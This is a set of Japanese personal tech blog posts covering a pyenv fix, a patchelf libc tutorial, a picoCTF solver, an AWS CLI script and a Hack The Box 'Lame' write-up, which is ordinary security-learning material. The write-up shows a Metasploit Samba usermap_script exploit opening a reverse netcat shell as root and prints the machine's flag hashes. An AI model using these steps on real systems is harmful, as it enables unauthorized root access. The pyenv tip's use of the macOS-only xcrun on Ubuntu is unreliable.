pyenvでinstallしたpythonでの`ModuleNotFoundError: No module named '_sqlite3'`というエラーを解決した話
libsqlite3-devがインストールされていないのが原因だとubuntuで以下を実行した。
$sudo apt-get install sqlite3 libsqlite3-dev
しかしながら同様のエラーに悩まされたのでpyenvのissueを見てみると似たようなエラーに悩まされている方がいた。
結論から言うと
CFLAGS="-I$(xcrun --show-sdk-path)/usr/include" pyenv install 3.9
でpythonをインストールし直して上げるとうまくいった。
備忘録として残しておく。
pythonを触っていると上記のような問題に多々直面するので嫌だなぁという気持ち
Lame Hack-the-box
tags: hack the box
linux
ペネトレーションテスト
# Nmap 7.91 scan initiated Fri Mar 18 11:53:06 2022 as: nmap -sV -sC -A -oN 10.10.10.3.txt 10.10.10.3 Nmap scan report for 10.10.10.3 Host is up (0.37s latency). Not shown: 996 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.16.5 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: DD-WRT v24-sp1 (Linux 2.4.36) (92%), OpenWrt White Russian 0.9 (Linux 2.4.30) (92%), Linux 2.6.23 (92%), Arris TG862G/CT cable modem (92%), Belkin N300 WAP (Linux 2.6.30) (92%), Control4 HC-300 home controller (92%), D-Link DAP-1522 WAP, or Xerox WorkCentre Pro 245 or 6556 printer (92%), Dell Integrated Remote Access Controller (iDRAC6) (92%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (92%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 2h00m20s, deviation: 2h49m43s, median: 19s | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | Computer name: lame | NetBIOS computer name: | Domain name: hackthebox.gr | FQDN: lame.hackthebox.gr |_ System time: 2022-03-18T11:54:06-04:00 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2) TRACEROUTE (using port 22/tcp) HOP RTT ADDRESS 1 211.72 ms 10.10.16.1 2 426.18 ms 10.10.10.3 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Mar 18 11:54:28 2022 -- 1 IP address (1 host up) scanned in 81.84 seconds
nmapで解析してみると、3.0.20 versionのSambaが動いている。
└─$ searchsploit Samba 3.0.20 1 ⚙ ------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------ --------------------------------- Samba 3.0.10 < 3.3.5 - Format String / Security | multiple/remote/10095.txt Samba 3.0.20 < 3.0.25rc3 - 'Username' map scrip | unix/remote/16320.rb Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py ------------------------------------------------ --------------------------------- Shellcodes: No Results
exploitを探してみると,Samba 3.0.20 < 3.0.25rc3 - 'Username' map scrip
があったので、これが動くかどうか試してみる。
└─$ msfconsole 1 ⚙ [!] The following modules were loaded with warnings: ______________________________________________________________________________ | | | 3Kom SuperHack II Logon | |______________________________________________________________________________| | | | | | | | User Name: [ security ] | | | | Password: [ ] | | | | | | | | [ OK ] | |______________________________________________________________________________| | | | https://metasploit.com | |______________________________________________________________________________| =[ metasploit v6.1.32-dev ] + -- --=[ 2206 exploits - 1168 auxiliary - 395 post ] + -- --=[ 596 payloads - 45 encoders - 11 nops ] + -- --=[ 9 evasion ] Metasploit tip: Adapter names can be used for IP params set LHOST eth0 msf6 > search samba 3.0.20 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
exploit/multi/samba/usermap_script
があるので、それを使ってみる
msf6 > use exploit/multi/samba/usermap_script [*] No payload configured, defaulting to cmd/unix/reverse_netcat msf6 exploit(multi/samba/usermap_script) > show options Module options (exploit/multi/samba/usermap_script): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://github.com/ra pid7/metasploit-framework/wiki/Using-Metasplo it RPORT 139 yes The target port (TCP) Payload options (cmd/unix/reverse_netcat): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.0.2.15 yes The listen address (an interface may be specif ied) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic
optionを見てみると、targetのhostを設定するためにRHOSTSを設定する。
また、reverse_netcatということは、リバースシェルを実行すると思う。
serverをLHOSTで設定できる。
vpnを通して、ターゲットにアクセスしているので、
vpnのサーバーのinetをLHOSTに設定しなければならない?(なぜ?)
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500 link/none inet 10.10.16.5/23 scope global tun0 valid_lft forever preferred_lft forever inet6 dead:beef:4::1003/64 scope global valid_lft forever preferred_lft forever inet6 fe80::e799:9d19:158c:faac/64 scope link stable-privacy valid_lft forever preferred_lft forever
msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.16.5 LHOST => 10.10.16.5 msf6 exploit(multi/samba/usermap_script) > set RhOSTS 10.10.10.3
実際にexploitしてみる。
msf6 exploit(multi/samba/usermap_script) > exploit [*] Started reverse TCP handler on 10.10.16.5:4444 [*] Command shell session 1 opened (10.10.16.5:4444 -> 10.10.10.3:47875 ) at 2022-03-18 14:05:32 -0400 ls bin boot cdrom dev etc home initrd initrd.img initrd.img.old lib lost+found media mnt nohup.out opt proc root sbin srv sys tmp usr var vmlinuz vmlinuz.old id uid=0(root) gid=0(root)
root権限でアクセスできているので安心。
root.txtを探してみる
root@lame:/# find / | grep -e 'root\.txt' find / | grep -e 'root\.txt' /root/root.txt
root@lame:/# cat /root/root.txt cat /root/root.txt 88307a9edf8ed976de2ff8c6c98aa5e
root.txtゲット!!
user.txtも探してみる。
find / | grep -e 'user\.txt' /home/makis/user.txt /usr/share/doc/fontconfig-config/fontconfig-user.txt.gz
cat /home/makis/user.txt afc12323eec3ad3d84b9595ae583bd6e
無事ゲット。
まとめ
はじめてのhack the boxなのでどこから初めていいのか分からずに、
youtubeのwriteupを見てやりました。
これを機に一日一つのMachineを解いていきたいと思います。
動的ライブラリのリンク先を変更させる
tags: libc
patchelf
linux
この記事は備忘録であり、自分自身の実験に基づくものです。 正確性を保証出来ません。(自分の環境では動きました。) (もし、間違っている点があれば指摘していただけると幸いです。)
前提知識
ライブラリとは
ライブラリとなんでしょうか? 普段からプログラミングをしている方なら、外部からファイルを取り込むことは誰しもがやったことがあると思います。 これから、低レイヤのライブラリの取り扱いについて語っていこうと思います。 まずライブラリは2つの種類があります。 * 静的ライブラリ * 動的ライブラリ(共有ライブラリ)
Linux のバイナリは、コンパイルの時に ld に対して -static オプションが指定されていない限り、動的リンク (実行時リンク) が標準になります。
それぞれの長所と短所
静的ライブラリとリンクには、動的なライブラリとリンクと比較した場合、主に 3 つの問題に注意が必要です。
* 静的ライブラリは自己依存性 (独立性) に優れていますが、適用性に劣る。
実行可能ファイルを静的にリンクすると、必要なライブラリルーチンは実行可能バイナリファイルの一部となります。
しかし、静的にリンクすると、静的ライブラリルーチンを更新する必要が出てきた場合 リンクし、生成し直さなければ、更新されたライブラリを利用することができません。
動的ライブラリを使用すれば、ライブラリは a.out ファイルの一部とはならず、リンクは実行時に行われます。更新された動的ライブラリを利用するために必要なことは、新しいライブラリをシステムにインストールするだけです。
* 動的ライブラリは必要ない機能を実行時削げる為、最適化しやすい。
動的リンカにはLazy Bindingという仕組みがあります。
実際に関数が呼ばれるまで、テーブルにはありますが、
アドレス解決は行われません。つまり、ロードされないのです。
こういった最適化は静的ライブラリではやりずらいことが多いです。
* 静的ライブラリのリンクでは、リンクの順序が重要です。
リンカーは、コマンド行に現れる順番、すなわち左から右に入力ファイルを処理します。リンカーがライブラリの要素を読み込むべきかどうかは、すでに処理されたライブラリの要素によって決定されます。この順番は、要素がライブラリファイル中で現れる順番に依存するだけでなく、コンパイルコマンド行上で指定されたライブラリの順番にも依存します。
ライブラリのロード、呼び出し法について
まず、実行ファイルというのはそれ単体であることが少ないです。
以下のよくあるc言語のチュートリアルを見てもらうとよく分かるのですが、なにかしら、ライブラリを含むことが多いです。
ここでいうとstdio.h
ですね。
#include<stdio.h> int main(){ printf("Hello World\n"); }
これは、なにもinclude
文がなかったら、ライブラリを含まないわけではありません。
int main(){}
上の何もしないソースコードにはライブラリはロードされるでしょうか?
実はされるんです
ldd
とはコマンドラインで指定された各プログラムまたは共有ライブラリに必要な共有ライブラリを出力するコマンドです。
ldd
を使って実際にどんなライブラリがロードされているか見てみましょう。
mizuiro@mizuiro-arch ~/PROJECTS> gcc test.c -o test mizuiro@mizuiro-arch ~/PROJECTS> ldd test linux-vdso.so.1 (0x00007fffb94b4000) libc.so.6 => /usr/lib/libc.so.6 (0x00007fbf51b21000) /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fbf51d63000)
はい、見に覚えのないライブラリがロードされていることが確認できます。おかしいですね。何もしないプラグラムなのに...
mizuiro@mizuiro-arch ~/PROJECTS> gcc test.c -o test mizuiro@mizuiro-arch ~/PROJECTS> ./test mizuiro@mizuiro-arch ~/PROJECTS>
これは、実際にmain関数を呼ぶ場合はいくつかの処理を終えてから呼ばれるからです。
main関数というのはlibc_start_main
関数の中で呼ばれます。(古いバージョン)
このlibc_start_main
は動的ライブラリ(共有ライブラリ)で定義されています。
ldについて
さて、ここで話が変わりますが、ldとはどういったものなのか詳しく説明していこうと思います。
ld.so と ld-linux.so* はプログラムに必要な共有ライブラリを見つけてロードし、 プログラムの実行を準備してから起動させるものです。これがないと、実行させる際に動的にライブラリをロードさせてあげることが出来なくなるのです。
やり方
動的ライブラリのリンク先を変更させる方法はいくつかあるようですが、ここではpatchelfを使った方法を使っていきます。 まずは、patchをあてたい実行ファイルと動的ライブラリを用意します。今回はlibc2.27をあてることにします。 次に対応するldを用意します。 そうしたら、libcとldをルート直下のmylibにでも置いておきましょうか。
root@03a37eb13ba2:/mylib# ls -al total 2160 drwxr-xr-x 2 root root 4096 Mar 22 22:03 . drwxr-xr-x 1 root root 4096 Mar 22 22:00 .. -rwxr-xr-x 1 root root 170960 Mar 22 22:03 ld-2.27.so -rwxr-xr-x 1 root root 2030544 Mar 22 22:03 libc-2.27.so
次に、実行ファイルを用意します。
root@03a37eb13ba2:/PROJECTS# ls test test.c root@03a37eb13ba2:/PROJECTS# cat test.c #include<stdio.h> int main(){ printf("Hello World\n"); return 0; }
root@03a37eb13ba2:/PROJECTS# ldd test linux-vdso.so.1 (0x00007ffd6fba1000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f422b1c0000) /lib64/ld-linux-x86-64.so.2 (0x00007f422b3bd000)
こいつのlibcのバージョンはいくつでしょうか。確認してみます。
oot@03a37eb13ba2:/PROJECTS# /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31. ...
2.31だそうですね。それではこれが2.27になるようにしていきます。
まずは、ライブラリの名前を合わせるために
libc.so.6
をmylib
につくります。
シンボリックリンクを貼ってあげましょう。
root@03a37eb13ba2:/mylib# ln -s ./libc-2.27.so ./libc.so.6 root@03a37eb13ba2:/mylib# ls ld-2.27.so libc-2.27.so libc.so.6
これで用意を終わったのでコマンドを実行します。 --set-rpathはライブラリのディレクトリを指します。 --set-interpreterでldを指定してあげて、最後に実行ファイルを指定してあげれば良いです。
root@03a37eb13ba2:/PROJECTS# patchelf --set-rpath /mylib/ --set-interpreter /mylib/ld-2.27.so ./test root@03a37eb13ba2:/PROJECTS# ldd test linux-vdso.so.1 (0x00007ffe5dfe8000) libc.so.6 => /mylib/libc.so.6 (0x00007f0caf2ed000) /mylib/ld-2.27.so => /lib64/ld-linux-x86-64.so.2 (0x00007f0caf6e6000) root@03a37eb13ba2:/PROJECTS# ./test Hello World
どうやら、ちゃんとパッチを当てることができたようですね。 一見落着(?)
libc-2.35での振る舞い(付録的なあれ)
ちなみに、現在のmainは__libc_start_call_main
で呼ばれます。(2.35)
mizuiro@mizuiro-arch ~/PROJECTS [1]> ldd test linux-vdso.so.1 (0x00007ffe1b1eb000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f5a1eaa1000) /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f5a1ece3000)
mizuiro@mizuiro-arch ~/PROJECTS> /usr/lib/libc.so.6 GNU C Library (GNU libc) stable release version 2.35. ...
0x00007fffffffcc88│+0x0000: 0x00007ffff7db0310 → <__libc_start_call_main+128> mov edi, eax ← $rsp 0x00007fffffffcc90│+0x0008: 0x0000000000000000 0x00007fffffffcc98│+0x0010: 0x0000555555555119 → <main+0> push rbp 0x00007fffffffcca0│+0x0018: 0x00000001ffffcd80 0x00007fffffffcca8│+0x0020: 0x00007fffffffcd98 → 0x00007fffffffd17a → "/mnt/nvme0n1p7/test" 0x00007fffffffccb0│+0x0028: 0x0000000000000000 0x00007fffffffccb8│+0x0030: 0xd1bd3d699ca29e5e 0x00007fffffffccc0│+0x0038: 0x00007fffffffcd98 → 0x00007fffffffd17a → "/mnt/nvme0n1p7/test" ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x55555555511a <main+1> mov rbp, rsp 0x55555555511d <main+4> mov eax, 0x0 0x555555555122 <main+9> pop rbp → 0x555555555123 <main+10> ret ↳ 0x7ffff7db0310 <__libc_start_call_main+128> mov edi, eax 0x7ffff7db0312 <__libc_start_call_main+130> call 0x7ffff7dc7d60 <exit> 0x7ffff7db0317 <__libc_start_call_main+135> call 0x7ffff7e0d660 <__nptl_deallocate_tsd> 0x7ffff7db031c <__libc_start_call_main+140> lock dec DWORD PTR [rip+0x1ccda5] # 0x7ffff7f7d0c8 <__nptl_nthreads> 0x7ffff7db0323 <__libc_start_call_main+147> sete al 0x7ffff7db0326 <__libc_start_call_main+150> test al, al
<__libc_start_call_main+128> mov edi, eax
がmain
のリターンアドレスとしてあるので、
その前の文が呼び出している部分でしょうか?
mizuiro@mizuiro-arch ~/PROJECTS> objdump -M intel -d /usr/lib/libc.so.6 | sed -n '/<__libc_start_call_main>:/,/^$/p' 000000000002d290 <__libc_start_call_main>: ... 2d30e: ff d0 call rax 2d310: 89 c7 mov edi,eax 2d312: e8 49 7a 01 00 call 44d60 <exit> 2d317: e8 44 d3 05 00 call 8a660 <__GI___nptl_deallocate_tsd> ...
__libc_start_call_main
+128なので2d310
の部分ですね。
その直前が呼び出している部分です。call rax
と書いてありますが、慣例でcall rax
of call eax
となるようです。もし、どこの部分でmainを呼んでいるのか確認したければ、
これを目印にするとよさそうです。
動かない時,
ldのパーミッション(755)は適正ですか? ldのグループと所有者は適正ですか?(どちらもroot)
連絡先
@mizuiro_rivi もし困ったときに、相談してくだされば、力になれるかもしれません。 ぜひ連絡ください。 また、間違った記述等あれば、こちらにお願いします。
Ref
picoCTF2019-Based
問題文
To get truly 1337, you must understand different data encodings, such as hexadecimal or binary. Can you get the flag from this program to prove you are on the way to becoming 1337? Connect with nc 2019shell1.picoctf.com 20836.
2進数や8進数、16進数が与えられるのでそれを文字列に直して、与えるとフラグが得られる
brewが壊れていて、直したらpwntoolsが消えていたのでもう一回導入した。
一応、参考までに(python3,macでの環境の場合)
brew install python brew install pwntools pip3 install pwntools
そして今回書いたコードがこちら
from pwn import * import re import string import binascii #context.log_level = "DEBUG" def unknown_base(l_sp): for base in range(1,17): flag = True res = "" try: for t in l_sp: c = chr(int(t,base)) if c not in string.ascii_letters: flag = False break res += c if(flag): log.info("decode successful with base{} res = {}".format(base,res)) return res except: pass r = remote("2019shell1.picoctf.com", 20836) print(r.recvuntil("give the ")) l = r.recvuntil(" as") l_sp = l[:-2].split() print(l_sp) ans = "" ans = unknown_base(l_sp) print(ans) r.sendlineafter("Input:",ans) print(r.recvuntil("give me the ")) l = r.recvuntil(" as") l_sp = l[:-2].split() print(l_sp) ans = "" ans = unknown_base(l_sp) print(ans) r.sendlineafter("Input:",ans) r.recvuntil(b'give me the ') l = r.recvuntil(" as") print(l) ans = binascii.a2b_hex(l[:-3]) print(ans) r.sendlineafter("Input:",ans) print(r.recvall()) r.close()
ネットにのっているコードがpython2系だったり、今は推奨されていない関数が使われていたので苦労した
awscli ec2に名前タグがないものをリスト化する
#!/bin/bash #containsだけではダメだったのでstartwith,endswithを通して完全一致させる->ValueにNameが含まれている時があるから #ちなみにこれにnotを通したシェルは挙動がおかしい->nameタグを含んでいる->Nameタグがないけどリストから漏れているものがある可能性があるのでwebコンソールで確認 FILE2=with_nametag.txt FILE1=ec2_list.txt #nameタグを含むinstanceIDの取得 aws ec2 describe-instances | jq '.Reservations[].Instances[] | select(.Tags[].Key | startswith("Name"))?| select(.Tags[].Key | endswith("Name"))? | .InstanceId' | sort > ${FILE2} #ec2全てのinstanceIDの取得 aws ec2 describe-instances | jq '.Reservations[].Instances[].InstanceId' | sort > ${FILE1} # 比較 diff -y -t -d ${FILE1} ${FILE2} > diff.txt # 第1ファイルにのみ存在 grep -e "<" -e "|" diff.txt | cut -d " " -f 1 > diff_only_${FILE1} cat diff_only_${FILE1} #諸々のファイルの削除 rm ${FILE1} rm ${FILE2} rm diff.txt rm diff_only_${FILE1} #aws ec2 describe-instances | jq '.Reservations[].Instances[] | select(.InstanceId=="{インスタンスid}") | .Tags[]' <=確認用
日記 2020/2/20
2/20
今日やったこと
HackTMCTFFqueal2020 obey_the_rules
今日分からなかったこと
今日学んだこと
いっぱい
明日やろうと思ってること
螺旋本10ページ読破
サイバーセキュリティプログラミング5ページ読破
競技プログラミング問題一問
村人Aを解く
未踏の下書き